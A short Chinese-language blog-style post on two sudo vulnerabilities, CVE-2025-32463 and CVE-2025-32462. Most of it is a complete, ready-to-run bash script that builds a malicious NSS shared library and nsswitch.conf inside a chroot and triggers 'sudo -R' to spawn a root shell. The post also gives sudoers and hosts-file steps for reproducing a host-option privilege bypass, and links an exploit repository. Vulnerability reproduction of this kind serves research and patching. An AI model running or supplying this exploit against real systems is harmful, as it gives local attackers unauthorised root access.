少见的sudo漏洞,一爆就爆俩

CVE-2025-32463

脚本如下

#!/bin/bash

echo "[+] CVE-2025-32463 Sudo chroot 漏洞复现脚本"

echo "[*] 正在创建临时工作目录..."
STAGE=$(mktemp -d /tmp/sudo_exploit.XXXXXX)
if [ ! -d "$STAGE" ]; then
    echo "[-] 错误: 无法创建临时目录。"
    exit 1
fi
cd "${STAGE}" || exit 1
echo "[*] 工作目录已创建: ${STAGE}"

echo "[*] 正在创建 C 语言 payload (woot1337.c)..."
cat > woot1337.c << EOF
#include <unistd.h>
#include <stdlib.h>

// __attribute__((constructor)) 确保 woot() 函数在库加载时自动执行
__attribute__((constructor))
void woot(void) {
    // 将真实用户ID和有效用户ID都设置为0 (root)
    setreuid(0, 0);
    // 将真实组ID和有效组ID都设置为0 (root)
    setregid(0, 0);
    chdir("/");
    execl("/bin/bash", "/bin/bash", NULL);
}
EOF

# 创建 chroot 环境和nsswitch.conf
echo "[*] 正在设置 chroot 环境和恶意的 nsswitch.conf..."
mkdir -p woot/etc

# 核心
echo "passwd: /woot1337" > woot/etc/nsswitch.conf

echo "[*] 正在将 payload 编译为共享库 (libnss_/woot1337.so.2)..."
mkdir -p libnss_
gcc -shared -fPIC -o libnss_/woot1337.so.2 woot1337.c

if [ ! -f "libnss_/woot1337.so.2" ]; then
    echo "[-] 错误: 编译失败。请确保已安装 gcc。"
    rm -rf "${STAGE}"
    exit 1
fi

echo "[*] 编译成功!"
echo "[+] root shell!!!!!"
echo "woot!"

sudo -R woot woot

echo "[*] 正在清理临时文件..."
rm -rf "${STAGE}"

这个漏洞 简单来说就是sudo的chroot功能在没有验证的情况下以root的权限启动了一个chroot服务,然后去搜索了nsswitch.conf文件,而他又通过其中的恶意规则启动了一个恶意共享库,共享库通过root权限执行了一个bashshell,boom!

https://github.com/neko205-mx/CVE-2025-32463_Exploit

CVE-2025-32462

这个问题出现于sudoers 的主机配置选项中,如果多台服务器采用一个sudoers文件会导致主机设置形同虚设

复现步骤

  1. 本地添加hostname,模拟环境
127.0.0.1   prod.test.local
127.0.0.1   dev.test.local
127.0.0.1   ci.test.local
  1. 修改sudoers文件
Host_Alias      PROD = prod.test.local
Host_Alias      DEVS = dev.test.local
neko         DEVS, !PROD = ALL
neko         ci.test.local = ALL

修改hostname,新开一个终端,测试如下

Stratascale

Local Privilege Escalation via host option